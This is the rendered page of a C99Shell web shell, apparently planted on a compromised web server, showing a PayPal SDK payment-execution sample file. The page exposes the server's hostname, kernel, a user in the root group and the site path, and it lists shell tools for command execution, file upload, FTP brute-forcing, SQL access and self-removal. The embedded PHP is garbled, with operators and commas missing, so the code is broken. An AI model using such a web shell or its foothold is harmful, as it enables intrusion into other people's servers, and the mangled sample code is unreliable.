!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/sample/payments/   drwxr-xr-x
Free 28.63 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExecutePayment.php (3.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// #Execute Payment Sample
// This is the second step required to complete
// PayPal checkout. Once user completes the payment, paypal
// redirects the browser to "redirectUrl" provided in the request.
// This sample will show you how to execute the payment
// that has been approved by
// the buyer by logging into paypal site.
// You can optionally update transaction
// information by passing in one or more transactions.
// API used: POST '/v1/payments/payment/<payment-id>/execute'.

require __DIR__ '/../bootstrap.php';
use 
PayPal\Api\Amount;
use 
PayPal\Api\Details;
use 
PayPal\Api\ExecutePayment;
use 
PayPal\Api\Payment;
use 
PayPal\Api\PaymentExecution;
use 
PayPal\Api\Transaction;

// ### Approval Status
// Determine if the user approved the payment or not
if (isset($_GET['success']) && $_GET['success'] == 'true') {

    
// Get the payment Object by passing paymentId
    // payment id was previously stored in session in
    // CreatePaymentUsingPayPal.php
    
$paymentId $_GET['paymentId'];
    
$payment Payment::get($paymentId$apiContext);

    
// ### Payment Execute
    // PaymentExecution object includes information necessary
    // to execute a PayPal account payment.
    // The payer_id is added to the request query parameters
    // when the user is redirected from paypal back to your site
    
$execution = new PaymentExecution();
    
$execution->setPayerId($_GET['PayerID']);

    
// ### Optional Changes to Amount
    // If you wish to update the amount that you wish to charge the customer,
    // based on the shipping address or any other reason, you could
    // do that by passing the transaction object with just `amount` field in it.
    // Here is the example on how we changed the shipping to $1 more than before.
    
$transaction = new Transaction();
    
$amount = new Amount();
    
$details = new Details();

    
$details->setShipping(2.2)
        ->
setTax(1.3)
        ->
setSubtotal(17.50);

    
$amount->setCurrency('USD');
    
$amount->setTotal(21);
    
$amount->setDetails($details);
    
$transaction->setAmount($amount);

    
// Add the above transaction object inside our Execution object.
    
$execution->addTransaction($transaction);

    try {
        
// Execute the payment
        // (See bootstrap.php for more on `ApiContext`)
        
$result $payment->execute($execution$apiContext);

        
// NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY
        
ResultPrinter::printResult("Executed Payment""Payment"$payment->getId(), $execution$result);

        try {
            
$payment Payment::get($paymentId$apiContext);
        } catch (
Exception $ex) {
            
// NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY
             
ResultPrinter::printError("Get Payment""Payment"nullnull$ex);
            exit(
1);
        }
    } catch (
Exception $ex) {
        
// NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY
         
ResultPrinter::printError("Executed Payment""Payment"nullnull$ex);
        exit(
1);
    }

    
// NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY
    
ResultPrinter::printResult("Get Payment""Payment"$payment->getId(), null$payment);

    return 
$payment;


} else {
    
// NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY
    
ResultPrinter::printResult("User Cancelled the Approval"null);
    exit;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0069 ]--